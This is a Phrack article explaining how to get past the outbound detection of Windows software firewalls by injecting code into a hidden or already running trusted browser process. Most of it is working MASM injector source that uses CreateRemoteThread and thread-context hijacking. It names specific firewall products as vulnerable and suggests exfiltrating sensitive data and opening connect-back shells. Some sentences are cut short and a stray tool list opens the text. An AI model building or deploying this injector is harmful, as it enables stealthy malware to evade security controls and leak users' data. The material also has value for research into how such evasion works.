- [GETTCP] GetTcpTable
- [NETSTATP] Netstat like
- [kSENTINEL] POP3 passwords grabber
- [FPORT] Network Tool
- [TCPVIEW] Network Tool
- [LISTDLLS] DLL listing tool
- [PROCEXP] Process Explorer
- [VICE] Catch hookers!
- [PEB]

|=[ EOF ]=---------------------------------------------------------------=|


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x0d of 0x10

|=--=[  Using Process Infection to Bypass Windows Software Firewalls ]=--=|
|=---------------------------=[ rattle ]=--------------------------------=|

-[0x00] :: Table Of Contents ---------------------------------------------

  [0x01] introduction
  [0x02] how software firewalls work
  [0x03] process Infection without external .dll
  [0x04] problems of implementation
  [0x05] how to implement it
  [0x06] limits of this implementation
  [0x07] workaround: another infection method
  [0x08] conclusion
  [0x09] last words

  [0x0A] references

  [0x0B] injector source code
  [0x0C] Tiny bypass source code
  [0x0D] binaries (base64)

-[0x01] :: introduction --------------------------------------------------

 This entire document refers to a feature of software firewalls
 available for Windows OS, which is called "outbound detection".
 This feature has nothing to do with the original idea of a
 firewall, blocking incomming packets from the net: The outbound
 detection mechanism is ment to protect the user from malicious
 programs that run on his own computer - programs attempting to
 communicate with a remote host on the Internet and thereby
 leaking sensible information. In general, the outbound detection
 controls the communication of local applications with the

 In a world with an increasing number of trojan horses, worms
 and virii spreading in the wild, this is actually a very handy
 feature and certainly, it is of good use. However, ever since 
 I know about software firewalls, I have been wondering whether
 they could actually provide a certain level of security at all:
 After all, they are just software supposed protect you against
 other software, and this sounds like bad idea to me. 

 To make a long story short, this outbound detection can be
 bypassed, and that's what will be discussed in this paper.
 I moreover believe that if it is possible to bypass this one
 restriction, it is somehow possible to bypass other restrictions
 as well. Personal firewalls are software, trying to control
 another piece of software. It should in any case be possible
 to turn this around by 180 degrees, and create a piece of 
 software that controls the software firewall.

 Also, how to achieve this in practice is part of the discussion
 that will follow: I will not just keep on talking about abstract
 theory. It will be explained and illustrated with sample source
 code how to bypass a software firewall by injecting code to a
 trusted process. It might be interesting to you that the method
 of runtime process infection that will be presented and explained
 does not require an external DLL - the bypass can be performed
 by a stand-alone and tiny executable.

 Thus, this paper is also about coding, especially Win32 coding.
 To understand the sample code, you should be familiar with
 Windows, the Win32 API and basic x86 Assembler. It would also be 
 good to know something about the PE format and related things,
 but it is not necessary, as far as I can see. I will try to
 explain everything else as precisely as possible. 

 Note: If you find numbers enclosed in normal brackets within
 the document, these numbers are references to further sources.
 See [0x0A] for more details.

-[0x02] :: how software firewalls work -----------------------------------

 Of course, I can only speak about the software firewalls I have
 seen and tested so far, but I am sure that these applications
 are among the most widely used ones. Since all of them work in a
 very similar way, I assume that the concept is a general concept
 of software firewalls. 

 Almost every modern software firewall provides features that
 simulate the behaviour of hardware firewalls by allowing the
 user to block certain ports. I have not had a close look on
 these features and once more I want to emphasize that breaking
 these restrictions is outside the scope of this paper. 

 Another important feature of most personal firewalls is the 
 concept of giving privileges and different levels of trust to
 different processes that run on the local machine to provide a
 measure of outbound detection. Once a certain executable creates
 a process attempting to access the network, the executable file
 is checksummed by the software firewall and the user is prompted
 whether or not he wants to trust the respective process.

 To perform this task, the software firewall is most probably
 installing kernel mode drivers and hooks to monitor and intercept
 calls to low level networking routines provided by the Windows OS
 core. Appropriately, the user can trust a process to connect() to
 another host on the Internet, to listen() for connections or to
 perform any other familiar networking task. The main point is: As
 soon as the user gives trust to an executable, he also gives
 trust to any process that has been created from that executable.
 However, once we change the executable, its checksum would no
 longer match and the firewall would be alerted. 

 So, we know that the firewall trusts a certain process as long as
 the executable that created it remains the same. We also know that
 in most cases, a user will trust his webbrowser and his email

-[0x03] :: process Infection without external .dll -----------------------

 The software firewall will only calculate and analyze the checksum
 for an executable upon process creation. After the process has
 been loaded into memory, it is assumed to remain the same until it

 And since I have already spoken about runtime process infection, 
 you certainly have guessed what will follow. If we cannot alter
 the executable, we will directly go for the process and inject
 our code to its memory, run it from there and bypass the firewall

 If this was a bit too fast for you, no problem. A process is
 loaded into random access memory (RAM) by the Windows OS as soon
 as a binary, executable file is executed. Simplified, a process
 is a chunk of binary data that has been placed at a certain
 address in memory. In fact, there is more to it. Windows does a
 lot more than just writing binary data to some place in memory.
 For making the following considerations, none of that should
 bother you, though.

 For all of you who are already familiar with means of runtime
 process infection - I really dislike DLL injection for this
 purpose, simply because there is definitely no option that could
 be considered less elegant or less stealthy.

 In practice, DLL injection means that the executable that
 performs the bypass somehow carries the additional DLL it
 requires. Not only does this heaviely increase the size of the
 entire code, but this DLL also has to be written to HD on the
 affected system to perform the bypass. And to be honest - if 
 you are really going to write some sort of program that needs
 a working software firewall bypass, you exactly want to avoid 
 this sort of flaws. Therefore, the presented method of runtime
 process infection will work completely without the need of any
 external DLL and is written in pure x86 Assembly.

 To sum it all up: All that is important to us now is the ability
 to get access to a process' memory, copy our own code into that
 memory and execute the code remotely in the context of that

 Sounds hard? Not at all. If you have a well-founded knowledge of
 the Win32 API, you will also know that Windows gives a programmer
 everything he needs to perform such a task. The most important
 API call that comes to mind probably is CreateRemoteThread().
 Quoting MSDN (1):

  The CreateRemoteThread function creates a thread that 
  runs in the address space of another process. 

  HANDLE CreateRemoteThread(
    HANDLE hProcess,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    DWORD dwStackSize,
    LPVOID lpParameter,
    DWORD dwCreationFlags,
    LPDWORD lpThreadId

 Great, we can execute code at a certain memory address inside
 another process and we can even pass one DWORD of information as
 a parameter to it. Moreover, we will need the following 2 API

 they give us the power to inject our own arbitrary code to the
 address space of another process - and once it is there, we will
 create a thread remotely to execute it.
 To sum everything up: We will create a binary executable that
 carries the injection code as well as the code that has to be
 injected in order to bypass the software firewall. Or, speaking
 in high-level programming terms: We will create an exe file that
 holds two functions, one to inject code to a trusted process
 and one function to be injected.

-[0x04] :: problems of this implementation -------------------------------

 It all sounds pretty easy now, but it actually is not. For
 instance, you will barely be able to write an application in C
 that properly injects another (static) C function to a remote
 process. In fact, I can almost guarantee you that the remote
 process will crash. Although you can call the relevant API calls
 from C, there are much more underlying problems with using a
 high level language for this purpose. The essence of all these
 problems can be summed up as follows: compilers produce ASM code
 that uses hardcoded offsets. A simple example: Whenever you use
 a constant C string, this C string will be stored at a certain
 position within the memory of your resulting executable, and any
 reference to it will be hardcoded. This means, when your process
 needs to pass the address of that string to a function, the
 address will be completely hardcoded in the binary code of your


  void main() {
      printf("Hello World");
      return 0;

 Assume that the string "Hello World" is stored at offset 0x28048
 inside your executable. Moreover, the executable is known to
 load at a base address of 0x00400000. In this case, the binary
 code of your compiled and linked executable will somewhere refer
 to the address 0x00428048 directly. 

 A disassembly of such a sample application, compiled with Visual
 C++ 6, looks like this:

   00401597 ...
   00401598 push 0x00428048  ; the hello world string
   0040159D call 0x004051e0  ; address of printf
   0040159E ...
 What is the problem with such a hardcoded address? If you stay
 inside your own address space, there is no problem. However ...
 once you move that code to another address space, all those
 memory addresses will point to entirely different things. The
 hello world string in my example is more than 0x20000 = 131072
 bytes away from the actual program code. So, if you inject that
 code to another process space, you would have to make sure that
 at 0x00428048, there is a valid C string ... and even if there
 was something like a C string, it would certainly not be 
 "Hello World". I guess you get the point.

 This is just a simple example and does not even involve all the
 problems that can occur. However, also the addresses of all
 function calls are hardcoded, like the address of the printf
 function in our sample. In another process space, these
 functions might be somewhere else or they could even be missing
 completely - and this leads to the most weird errors that you
 can imagine. The only way to make sure that all the addresses
 are correct and that every single CPU instruction fits, we have
 to write the injected code in ASM.
 Note: There are several working implementations for an outbound 
 detection bypass for software firewalls on the net using a
 dynamic link library injection. This means, the implementation
 itself consists of one executable  and a DLL. The executable
 forces a trusted process to load the DLL, and once it has been
 loaded into the address space of this remote process, the DLL
 itself performs any arbitrary networking task. This way to bypass
 the detection works very well and it can be implemented in a high
 level language easiely, but I dislike the dependency on an
 external DLL, and therefore I decided to code a solution with one
 single stand-alone executable that does the entire injection by
 itself. Refer to (2) for an example of a DLL injection bypass.

 Also, LSADUMP2 (3) uses exactly the same measure to grab
 the LSA secrets from LSASS.EXE and it is written in C.

-[0x05] :: how to implement it -------------------------------------------

 Until now, everything is just theory. In practice, you will
 always encounter all kinds of problems when writing code like
 this. Furthermore, you will have to deal with detail questions
 that have only partially to do with the main problem. Thus,
 let us leave the abstract part behind and think about how to
 write some working code.

 Note: I strongly recommend you to browse the source code in
 [A] while reading this part, and it would most definitely be a
 good idea to have a look at it before reading [0x0B].

 First of all, we want to avoid as much hardcoded elements as
 possible. And the first thing we need is the file path to the
 user's default browser. Rather than generally refering to 
 "C:\Program Files\Internet Explorer\iexplore.exe", we will
 query the registry key at "HKCR\htmlfile\shell\open\command".

 Ok, this will be rather easy, I assume you know how to query
 the registry. The next thing to do is calling CreateProcess().
 The wShowWindow value of the STARTUP_INFO structure passed to
 the function should be something like SW_HIDE in order to keep
 the browser window hidden.

 Note: If you want to make entirely sure that no window is
 displayed on the user's screen, you should put more effort
 into this. You could, for instance, install a hook to keep all
 windows hidden that are created by the process or do similar
 things. I have only tested my example with Internet Explorer
 and the SW_HIDE trick works well with it. In fact, it should
 work with most applications that have a more or less simple
 graphical user interface.

 To ensure that the process has already loaded the most
 essential libraries and has reached a generally stable state,
 we use the WaitForInputIdle() call to give the process some
 time for intialization. 

 So far, so good - now we proceed by calling VirtualAllocEx()
 to allocate memory within the created process and with
 WriteProcessMemory(), we copy our networking code. Finally, 
 we use CreateRemoteThread() to run that code and then, we only
 have to wait until the thread terminates. All in all, the
 injection itself is not all that hard to perform.

 The function that will be injected can receive a single 
 argument, one double word. In the example that will be 
 presented in [0x0B], the injected procedure connects to on port 80 and sends a simple HTTP GET request.
 After receiving the header, it displays it in a message box.
 Since this is just a very basic example of a working firewall
 bypass code, our injected procedure will do everything on its
 own and does not need any further information.
 However, we will still use the parameter to pass a 32 bit
 value to our injected procedure: its own "base address". Thus,
 the injected code knows at which memory address it has been 
 placed, in the conetxt of the remote process. This is very
 important as we cannot directly read from the EIP register
 and because our injected code will sometimes have to refer to
 memory addresses of data structures inside the injected code
 Once injected and placed within the remote process, the 
 injected code basically knows nothing. The first important
 task is finding the kernel32.dll base address in the context
 of the remote process and from there, get the address of the
 GetProcAddress function to load everything else we need. I
 will not explain in detail how these values are retrieved,
 the entire topic cannot be covered by this paper. If you are
 interested in details, I recommend the paper about Win32
 assembly components by the Last Stage of Delirium research
 group (4). I used large parts of their write-up for the 
 code that will be described in the following paragraphs.

 In simple terms, we retrieve the kernel32 base address from
 the Process Environment Block (PEB) structure which itself
 can be found inside the Thread Environment Block (TEB). The
 offset of the TEB is always stored within the FS register,
 thus we can easiely get the PEB offset as well. And since
 we know where kernel32.dll has been loaded, we just need to
 loop through its exports section to find the address of
 GetProcAddress(). If you are not familiar with the PE format,
 don't worry.

 A dynamic link library contains a so-called exports section.
 Within this section, the offsets of all exported functions
 are assigned to human-readable names (strings). In fact,
 there are two arrays inside this section that interest us.
 There are actually more than 2 arrays inside the exports
 section, but we will only use these two lists. For the rest
 of this paper, I will treat the terms "list" and "array"
 equally, the formal difference is of no importance at this
 level of programming. One array is a list of standard,
 null-terminated C-strings. They contain the function names.
 The second list holds the function entry points (the

 We will do something very similar to what GetProcAddress()
 itself does: We will look for "GetProcAddress" in the first
 list and find the function's offset within the second array
 this way. 

 Unfortunately, Microsoft came up with an idea for their DLL
 exports that makes everything much more complicated. This
 idea is named "forwarders" and basically means that one DLL
 can forward the export of a function to another DLL. Instead
 of pointing to the offset of a function's code inside the DLL,
 the offset from the second array may also point to a null-
 terminated string. For instance, the function HeapAlloc() from
 kernel32.dll is forwarded to the RtlAllocateHeap function in
 ntdll.dll. This means that the alleged offset of HeapAlloc()
 in kernel32.dll will not be the offset of a function that has
 been implemented in kernel32.dll, but it will actually be the
 offset of a string that has been placed inside kernel32.dll.
 This particular string is "NTDLL.RtlAllocateHeap".
 After a while, I could figure out that this forwarder-string
 is placed immediately after the function's name in array #1.
 Thus, you will find this chunk of data somewhere inside 

   48 65 61 70 41 6C 6C 6F    HeapAllo
   63 00 4E 54 44 4C 4C 2E    c.NTDLL.
   52 74 6C 41 6C 6C 6F 63    RtlAlloc
   61 74 65 48 65 61 70 00    ateHeap.

   = "HeapAlloc\0NTDLL.RtlAllocateHeap\0"

 This is, of course, a bit confusing as there are now more null-
 terminated strings in the first list than offsets in the second
 list - every forwarder seems like a function name itself.
 However, bearing this in mind, we can easiely take care of the
 forwarders in our code.

 To identify the "GetProcAddress" string, I also make use of a
 hash function for short strings which is presented by LSD group
 in their write-up (4). The hash function looks like this in C:

 unsigned long hash(const char* strData) {
   unsigned long hash = 0;
   char* tChar = (char*) strData;
   while (*tChar) hash = ((hash<<5)|(hash>>27))+*tChar++;
   return hash;

 The calculated hash for "GetProcAddr" is, 0x099C95590 and we
 will search for a string in the exports section of kernel32.dll
 that matches this string. Once we have the address of
 GetProcAddress() and the base address of kernel32, we can
 easiely load all other API calls and libraries we need. From
 here, everything left to do is loading ws2_32.dll and using the
 socket system calls from that library to do whatever we want. 

 Note: I'd suggest to read [0x0B] now.

-[0x06] :: limits of this implementation ---------------------------------

 The sample code presented in this little paper will give you a
 tiny executable that runs in RING3. I am certain that most
 software firewalls contain kernel mode drivers with the ability
 to perform more powerful tasks than this injector executable.
 Therefore, the capabilities of the bypass code are obviously
 limited. I have tested the bypass against several software
 firewalls and got the following results:

   Zone Alarm 4        vulnerable
   Zone Alarm Pro 4    vulnerable
   Sygate Pro 5.5      vulnerable
   BlackIce 3.6        vulnerable
   Tiny 5.0            immune

 Tiny alerts the user that the injector executable spawns the
 browser process, trying to access the network this way. It looks
 like Tiny simply acts exactly like all the other software
 firewalls do, but it is just more careful. Tiny also hooks API
 calls like CreateProcess() and CreateRemoteThread() - thus, it
 can protect its users from this kind of bypass.
 Anyway, by the test results I obtained, I was even more
 confirmed that software firewalls act as kernel mode drivers,
 hooking API calls to monitor networking activity.

 Thus, I have not presented a firewall bypass that works in 100%
 of all possible cases. It is just an example, a proof for the
 general possibility to perform a bypass.

-[0x07] :: workaround: another infection method --------------------------

 Phrack Staff suggested to present a workaround for the problem
 with Tiny by infecting an already running, trusted process. 
 I was certain that this would not be the only thing to take 
 care of, since Tiny would most likely be hooking our best friend,
 CreateRemoteThread(). Unfortunately, I actually figured out that
 I had been right, and merely infecting an already running
 process did not work against Tiny.

 However, there are other ways to force execution of our own
 injected code, and I will briefly explain my workaround for
 those of you who are interested. All I am trying to prove here 
 is that you can outsmart any software firewall if you put some
 effort into coding an appropriate bypass.

 The essential API calls we will need are GetThreadContext() and
 appropriately, SetThreadContext(). These two briefly documented
 functions allow you to modify the CONTEXT of a thread. What is
 the CONTEXT of a thread? The CONTEXT structure contains the
 current value of all CPU registers in the context of a certain
 thread. Hence, with the two API calls mentioned above, you can
 retrieve these values and, more importantly, apply new values
 to each CPU register in the thread's context as well. Of high
 interest to us is the EIP register, the instruction pointer for
 a thread.

 First of all, we will simply find an already running, trusted
 process. Then, as always, we write our code to its memory using
 the methods already discussed before. This time, however, we
 will not create a new thread that starts at the address of our
 injected code, we will rather hijack the primary thread of the
 trusted process by changing its instruction pointer to the
 address of our own code.

 That's the essential theory behind this second bypass, at least.
 In practice, we will proceed more cautiously to be as stealthy
 as possible. First of all, we will not simply write the injection
 function to the running process, but several other ASM codes as
 well, in order to return to the original context of the hijacked
 thread once our injected code has finished its work. As you can
 see from the ASM source code in [0x0C], we want to copy a chunk
 of shellcode to the process that looks like this in a debugger:
  <base + 0x00> PUSHAD             ; safe all registers
  <base + 0x01> PUSHFD             ; safe all flags
  <base + 0x02> PUSH <base + 0x13> ; first argument: own address
  <base + 0x07> CALL <base + 0x13> ; call the injected code
  <base + 0x0C> POPFD              ; restore flags
  <base + 0x0D> POPAD              ; restore registers
  <base + 0x0E> JMP <orignal EIP>  ; "restore" original context
  <base + 0x13> ...                ; inject function starts here

 Remember, this code is being injected at a memory offset very
 far away from the original context of the thread. That's why
 we will need a 4 byte - relative address for the JMP.

 All in all, this is an easy and simple solution to avoid that
 our trusted process just crashes after the injected code has
 run. Moreover, I decided to use an event object that becomes
 signaled by the injected code once the HTTP request has been
 performed successfully. This way, the injector executable
 itself is informed once the injected routine has finished its
 job. We can then deallocate the remote memory and perform a
 general cleanup. Stealthieness is everything.

 I should say that [0x0C] is a bit more fragile and less reliable
 than the first bypass shown in [0x0B]. However, this second one
 will definitely work against all tested firewalls and most
 probably also against others. Nevertheless, you should bear in
 mind that it assumes Internet Explorer to be a trusted process
 without looking up anything in the registry or elsewhere.

 Furthermore, I only used this second bypass together with a 
 running instance of Internet Explorer, other applications might
 require you not to hijack the primary thread, but another one.
 The primary thread is usually a safe bet as we can assume that
 it does not block or idle at the moment of infection. However,
 it could theoretically also happen that the program's interface
 suddenly freezes because the injected code is running rather 
 than the code that was intended to run. With this very sample
 program and internet explorer, I did not encounter such
 problems, though. It also works with "OUTLOOK.EXE" and others, 
 so I think it can be considered a good and stable approach.

-[0x08] :: conclusion ----------------------------------------------------

 I feel that I can be satisfied with the test results I obtained.
 Although the injector executable is generally inferior to a
 kernel mode software firewall, it could easiely trick 80% of the
 most popular software firewall products.  

 My second bypass even works against all of them, and I am as sure
 as I can be that an appropriate bypass can actually be coded for
 every single software firewall. Both of the sample codes merely
 send a simple HTTP request, but it would actually be quite easy
 to have them perform any other networking task. For instance,
 sending an email with sensitive information would work exactly
 the same way. The injected code would just have to be more 
 sophisticated or rather, larger than the sample provided here. 

 Bearing in mind that I achieved this with a 5k user-mode
 application, I am certain that it would be even more easy to
 bypass any software firewall with an appropriate piece of code
 running in RING0, eventually hooking low level calls itself.
 Who knows, perhaps this technique is already being used by
 people who did the same sort of research. The overall conclusion
 is: software firewalls are insecure. And I am very much at ease
 with this generalization: The concept of a software firewall,
 not the implementation, is the main problem.

 Software can not protect you from other software without being
 at constant risk to be tricked by another piece of software

 Why is this a risk? This is in fact a huge risk because software
 firewalls ARE being used on Windows Workstations widely. Within
 a network, it is commonplace to use both software and hardware
 firewalls. Moreover, the software firewalls in such networks only
 serve the very purpose of protecting the network from backdoor
 programs by supplying some sort of outbound detection. And after
 all, this protection is obviously too weak.

 Apart from the danger for privately used computers, which have
 hereby been proven to be insufficiently protected against trojan
 horses and worms, exploitation of a remote Windows Workstation 
 using a software firewall can most definitely involve the use of
 methods described in this paper. The ASM code for the two bypass
 samples can be transformed into shellcode for any remote Windows
 exploit. Once a service a Windows network is found to be
 vulnerable to a remote exploit, it would be also possible to
 overcome the outbound detection of the respective software
 firewall this way.

 The sample applications connect to on port 80,
 but you can actually infect a trusted process and have it
 do about anything along the lines of providing a shell by
 connecting back to your IP.

-[0x09] :: Last Words ----------------------------------------------------

 I'd like to emphasize that I am not responsible for anyone using
 that sample code with his/her homemade trojan to leech porn from
 his friend's PC. Seriously, this is just a sample for educational
 purposes, it should not be used for any kind of illegal purpose. 
 Thanks a lot to Paris2K for helping me with developing and
 testing the injector app. Good luck and success with your thesis.

 Greets and thanks to drew, cube, the_mystic - and also many
 thanks to you, jason ... for all your helpful advice. 

 If you want or need to contact me:

   Email, MSN -
          ICQ - 74684282
      Website -


-[0x0A] :: References ----------------------------------------------------

 These are links to projects and papers that have been 
 referenced somewhere inside this document.
 (1) The MSDN library provides Windows programmers with almost
     all the reference they need, no doubt about that.
 (2) Another project that bypasses the outbound detection
     of software firewalls. Unfortunately, no source code
     is available and it also uses and external DLL:

 (3) LSADUMP2 is the only C source code I found that 
     illustrates the method of injecting a DLL into another
     process' address space:
 (4) Many respect to the LSD research group for their nice
     and easy-to-read paper "Win32 Assembly Components":

     Perhaps you might want to check out their entire projects

 (5) Negatory Assembly Studio is my favourite x86 ASM IDE, 
     as far as an IDE for Assembly makes sense at all. You
     might need it for the ASM source code provided as I
     make use of it's "standard library" for Win32 calls:

-[0x0B] :: injector.exe source code --------------------------------------

Here you go, this is the injector ASM code. I used Negatory Assembly
Studio 1.0 to create the executable, a nice freeware IDE for creating
programs in ASM for Windows (5). It internally uses the MASM Assembler
and linker, so you might also manage to use the code with MASM only
(you will be lacking the includes, though).

.MODEL flat, stdcall


  bypass    PROTO NEAR STDCALL, browser:DWORD  ; injector function
  inject    PROTO NEAR STDCALL, iBase:DWORD    ; injected function

;       The PSHS macro is used to push the address of some
;       structure onto the stack inside the remote process'
;       address space. iBase contains the address where the
;       injected code starts. 

        MOV    EDX, iBase
        ADD    EDX, OFFSET BUFFER - inject
        PUSH   EDX
;       The LPROC macro assumes that pGetProcAddress holds
;       the address of the GetProcAddress() API call and
;       simulates its behaviour. PROCNAME is a string inside
;       the injected code that holds the function name and
;       PROCADDR is a DWORD variable inside the injected
;       code that will retrieve the address of that function.
;       BASEDLL, as the name suggests, should hold the 
;       base address of the appropriate DLL.
        PUSH   BASEDLL
        CALL   pGetProcAddress
        MOV    PROCADDR, EAX

EJUMP   MACRO  TARGET_CODE ; jump when EAX is 0.
        CMP    EAX, 0
        JE     TARGET_CODE


        sFail               DB  "Injection failed.",0
        sCapFail            DB  "Failure",0

        REG_BROWSER_SUBKEY  DB  "htmlfile\shell\open\command",0
        REG_BROWSER_KEY     DD  ?
        BROWSER             DB  MAX_PATH DUP(0)
        BR_SIZE             DD  MAX_PATH

        FUNCSZE             EQU inject_end - inject

Main:   ; We retrieve the defaul browser path from the
        ; registry by querying HKCR\htmlfile\shell\open\command

        INVOKE  RegOpenKey, HKEY_CLASSES_ROOT, \

        JNE     RR
        INVOKE  RegQueryValue, REG_BROWSER_KEY, \

        INVOKE  RegCloseKey, REG_BROWSER_KEY

        ; Now we call the bypass function by supplying the
        ; path to the browser as the first argument.
        INVOKE  bypass, OFFSET BROWSER

RR:     INVOKE  ExitProcess, 0
bypass  PROC NEAR STDCALL, browser:DWORD

        LOCAL   sinf                 :STARTUPINFO
        LOCAL   pinf                 :PROCESS_INFORMATION
        LOCAL   dwReturn             :DWORD ; return value
        LOCAL   dwRemoteThreadID     :DWORD ; thread ID
        LOCAL   thRemoteThreadHandle :DWORD ; thread handle
        LOCAL   pbRemoteMemory       :DWORD ; base address 

        ; Get our own startupinfo details out of lazieness
        ; and alter the wShowWindow attribute to SW_HIDE

        INVOKE  GetStartupInfo,ADDR sinf
        MOV     sinf.wShowWindow, SW_HIDE

        ; Create the brwoser process and WaitForinputIdle()
        ; to give it some time for initialization

        INVOKE  CreateProcess,0,browser,0,0,0,0,0,0, \
                ADDR sinf,ADDR pinf                        
        INVOKE  WaitForInputIdle, pinf.hProcess, 10000
        CMP     EAX,0
        JNE     ERR_CLEAN
        MOV     EBX, pinf.hProcess
        MOV     ECX, pinf.hThread

        ; Allocate memory in the remote process' address
        ; space and use WriteProcessMemory() to copy the
        ; code of the inject procedure.
        MOV     EDX, FUNCSZE
        INVOKE  VirtualAllocEx,EBX,0,EDX,MEM_COMMIT, \
        EJUMP   ERR_SUCC
        MOV     pbRemoteMemory,EAX
        MOV     EDX,FUNCSZE        
        INVOKE  WriteProcessMemory,EBX,pbRemoteMemory, \
                inject, EDX, 0

        ; The code has been copied, create a thread that
        ; starts at the remote address

        INVOKE  CreateRemoteThread,EBX,0,0,pbRemoteMemory, \
                pbRemoteMemory, 0, ADDR dwRemoteThreadID        
        MOV     thRemoteThreadHandle,EAX
        MOV     dwReturn,0

        ; Wait until the remote thread terminates and see what the
        ; return value looks like. The inject procedure will return
        ; a boolean value in EAX, indicating whether or not it was
        ; successful.
        INVOKE  WaitForSingleObject,thRemoteThreadHandle,INFINITE
        INVOKE  GetExitCodeThread,thRemoteThreadHandle,ADDR dwReturn
        ; If the return value equals 0, an error has occured and we
        ; will display a failure MessageBox() 

        CMP     dwReturn, 0
        JNE     ERR_CLEAN_TH
        INVOKE  MessageBox, 0, OFFSET sFail, OFFSET sCapFail, 16
        INVOKE  CloseHandle,thRemoteThreadHandle
        INVOKE  VirtualFreeEx, EBX, pbRemoteMemory, 0, MEM_RELEASE
        INVOKE  TerminateProcess, EBX, 0
        INVOKE  CloseHandle,pinf.hThread
        INVOKE  CloseHandle,pinf.hProcess

bypass  ENDP 


        LOCAL k32base          :DWORD
        LOCAL expbase          :DWORD
        LOCAL forwards         :DWORD
        LOCAL pGetProcAddress  :DWORD
        LOCAL pGetModuleHandle :DWORD
        LOCAL pLoadLibrary     :DWORD
        LOCAL pFreeLibrary     :DWORD
        LOCAL pMessageBox      :DWORD
        LOCAL u32base          :DWORD
        LOCAL ws32base         :DWORD
        LOCAL pWSAStartup      :DWORD
        LOCAL pWSACleanup      :DWORD
        LOCAL pSocket          :DWORD
        LOCAL pConnect         :DWORD
        LOCAL pSend            :DWORD
        LOCAL pRecv            :DWORD
        LOCAL pClose           :DWORD
        JMP IG

        sGetModuleHandle DB "GetModuleHandleA" ,0
        sLoadLibrary     DB "LoadLibraryA"     ,0
        sFreeLibrary     DB "FreeLibrary"      ,0
        sUser32          DB "USER32.DLL"       ,0
        sMessageBox      DB "MessageBoxA"      ,0
        sGLA             DB "GetLastError"     ,0
        sWLA             DB "WSAGetLastError"  ,0
        sWS2_32          DB "ws2_32.dll"       ,0
        sWSAStartup      DB "WSAStartup"       ,0
        sWSACleanup      DB "WSACleanup"       ,0
        sSocket          DB "socket"           ,0
        sConnect         DB "connect"          ,0
        sSend            DB "send"             ,0
        sRecv            DB "recv"             ,0
        sClose           DB "closesocket"      ,0

        wsa LABEL BYTE
         wVersion        DW 0
         wHighVersion    DW 0
         szDescription   DB WSADESCRIPTION_LEN+1 DUP(0)
         szSystemStatus  DB WSASYS_STATUS_LEN+1 DUP(0)
         iMaxSockets     DW 0
         iMaxUdpDg       DW 0
         lpVendorInfo    DD 0
        sAddr LABEL BYTE
         sin_family      DW AF_INET
         sin_port        DW 05000H
         sin_addr        DD 006EE3745H
         sin_zero        DQ 0

        sStartC          DB "SetUp Complete",0
        sStart           DB "Injector SetUp complete. ", \
                            "Sending request:",13,10,13,10
        sRequ            DB "GET / HTTP/1.0",13,10, \
        sCap             DB "Injection successful",0
        sRepl            DB 601 DUP(0)

IG:     ASSUME  FS:NOTHING           ; This is a MASM error bypass.      

        MOV     EAX, FS:[030H]       ; Get the Process Environment Block
        TEST    EAX, EAX             ; Check for Win9X
        JS      W9X

WNT:    MOV     EAX, [EAX+00CH]      ; WinNT: get PROCESS_MODULE_INFO
        MOV     ESI, [EAX+01CH]      ; Get fLink from ordered module list
        LODSD                        ; Load the address of bLink into eax
        MOV     EAX, [EAX+008H]      ; Copy the module base from the list
        JMP     K32                  ; Work done

W9X:    MOV     EAX, [EAX+034H]      ; Undocumented offset (0x34)
        LEA     EAX, [EAX+07CH]      ; ...
        MOV     EAX, [EAX+03CH]      ; ...
K32:    MOV     k32base,EAX          ; Keep a copy of the base address
        MOV     pGetProcAddress, 0   ; now search for GetProcAddress
        MOV     forwards,0           ; Set the forwards to 0 initially

        MOV     pWSACleanup, 0       ; we will need these for error -
        MOV     ws32base, 0          ; checks lateron

        ADD     EAX,[EAX+03CH]       ; pointer to IMAGE_NT_HEADERS
        MOV     EAX,[EAX+078H]       ; RVA of exports directory
        ADD     EAX,k32base          ; since RVA: add the base address
        MOV     expbase,EAX          ; IMAGE_EXPORTS_DIRECTORY
        MOV     EAX,[EAX+020H]       ; RVA of the AddressOfNames array
        ADD     EAX,k32base          ; add the base address
        MOV     ECX,[EAX]            ; ECX: RVA of the first string
        ADD     ECX,k32base          ; add the base address
        MOV     EAX,0                ; EAX will serve as a counter
        JMP     M2                   ; start looping

M1:     INC     EAX                  ; Increase EAX every loop
M2:     MOV     EBX, 0               ; EBX will be the calculated hash

        SHL     EBX, 05H
        SHR     EDX, 01BH
        OR      EBX, EDX
        MOV     EDX, 0
        MOV      DL, [ECX]           ; Copy current character to DL
        ADD     EBX, EDX             ; and add DL to the hash value
        INC     ECX                  ; increase the string pointer
        MOV      DL, [ECX]           ; next character in DL, now:
        CMP     EDX, 0               ; check for null character
        JNE     HASH

        ; This is where we take care of the forwarders.
        ; we will always subtract the number of forwarders
        ; that already occured from our iterator (EAX) to
        ; retrieve the appropriate offset from the second
        ; array. 

        PUSH    EAX                  ; Safe EAX to the stack
        SUB     EAX,forwards         ; Subtract forwards
        IMUL    EAX,4                ; addresses are DWORD's
        INC     ECX                  ; Move the ECX pointer to the
                                     ; beginning of the next name

        MOV     EDX, expbase         ; Load exports directory
        MOV     EDX, [EDX+01CH]      ; EDX: array of entry points
        ADD     EDX, k32base         ; add the base address
        MOV     EDX, [EDX+EAX]       ; Lookup the Function RVA
        ADD     EDX, k32base         ; add the base address
        MOV     pGetProcAddress, EDX ; This will be correct once
                                     ; the loop is finished.

        ; Second stage of our forwarder check: If the 
        ; "entry point" of this function points to the
        ; next string in array #1, we just found a forwarder.
        CMP     EDX, ECX             ; forwarder check
        JNE     FWD                  ; ignore normal entry points
        INC     forwards             ; This was a forwarder

FWD:    POP     EAX                  ; Restore EAX iterator
        CMP     EBX, 099C95590H      ; hash value for "GetProcAddress"
        JNE     M1

        ; We have everything we wanted. I use a simple macro
        ; to load the functions by applying pGetProcAddress.

        LPROC   k32base, sGetModuleHandle, pGetModuleHandle
        LPROC   k32base, sLoadLibrary, pLoadLibrary
        LPROC   k32base, sFreeLibrary, pFreeLibrary

        PSHS    sUser32              ; we need user32.dll
        CALL    pGetModuleHandle     ; assume it is already loaded
        EJUMP   INJECT_ERROR         ; (we could use LoadLibrary)
        MOV     u32base,EAX          ; got it

        PSHS    sWS2_32              ; most important: winsock DLL
        CALL    pLoadLibrary         ; LoadLibrary("ws2_32.dll");
        MOV     ws32base, EAX

        LPROC   u32base,sMessageBox,pMessageBox
        LPROC   ws32base,sWSAStartup,pWSAStartup
        LPROC   ws32base,sWSACleanup,pWSACleanup
        LPROC   ws32base,sSocket,pSocket
        LPROC   ws32base,sConnect,pConnect
